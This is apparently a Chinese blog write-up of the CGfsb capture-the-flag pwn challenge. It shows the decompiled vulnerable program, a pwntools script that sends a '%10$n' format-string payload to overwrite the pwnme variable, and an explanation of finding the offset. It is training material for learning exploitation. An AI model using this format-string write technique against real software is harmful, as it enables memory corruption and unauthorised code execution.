printf(&x)的利用——CGfsb题解

例行检测

file CGfsb

在这里插入图片描述

checksec CGfsb

在这里插入图片描述


反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _DWORD buf[2]; // [esp+1Eh] [ebp-7Eh] BYREF
  __int16 v5; // [esp+26h] [ebp-76h]
  char s[100]; // [esp+28h] [ebp-74h] BYREF
  unsigned int v7; // [esp+8Ch] [ebp-10h]

  v7 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf[0] = 0;
  buf[1] = 0;
  v5 = 0;
  memset(s, 0, sizeof(s));
  puts("please tell me your name:");
  read(0, buf, 0xAu);
  puts("leave your message please:");
  fgets(s, 100, stdin);//真的是说到曹操曹操到,今天刚被教练提了一嘴这个函数,总之,见到它确实有被失望到
  printf("hello %s", (const char *)buf);
  puts("your message is:");
  printf(s);//有的题解这一行反编译出来是printf(&a),感觉有被不公平到。这一行但凡直接写成printf(&a),也算是个友好题,因为这样写第一反应是printf("字符串")感觉无比正常
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}

攻击代码

from pwn import *

r = remote('ip', num)
pwnme_addr = 0x00000000//这个以IDA显示的pwnme地址编号为准
payload = p32(pwnme_addr) + b'aaaa' + b'%10$n'     
r.recvuntil("please tell me your name:\n")
r.sendline('abcdef')
r.recvuntil("leave your message please:\n")
r.sendline(payload)
r.interactive()

在这里插入图片描述


本题思路

  1. printf()中%n可以改变其他变量值,往给定的地址中写入“%n”前面的字符个数。如果是英文则一个字符一个字节,中文包括中文标点则是一个字符两个字节。

  2. 如果没有参数,但是规定了偏移量,则从格式字符串开始的地方往下数偏移量个内存块快(也就是第偏移量个参数的内存处),然后读取这个作为参数。

  3. %n需要的参数是一个地址,所以直接在s上写入我们需要修改的变量的地址,再想办法(办法就是偏移量)让这个地址成为%n的参数,把这个地址对应的值改变成我们想要的8。
    在这里插入图片描述

  4. 我们找到的pwnme的地址p32一下以后是4位的,但是我们需要一个“%n”数出来是8的字符串,所以给它再加4个字符。

  5. 偏移量的测试如下:
    在这里插入图片描述
    可见我们输入的s是printf( )的“第10个参数”,也就是偏移量是10。“第10个参数”的意思是,如果print()有参数,那么第10个参数对应的内存位置就是这个s字符串现在(没有参数的情况下)被存储的位置。

    显而易见,之所以这样用偏移量任意读取内存,是因为print()没有检查参数的个数。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值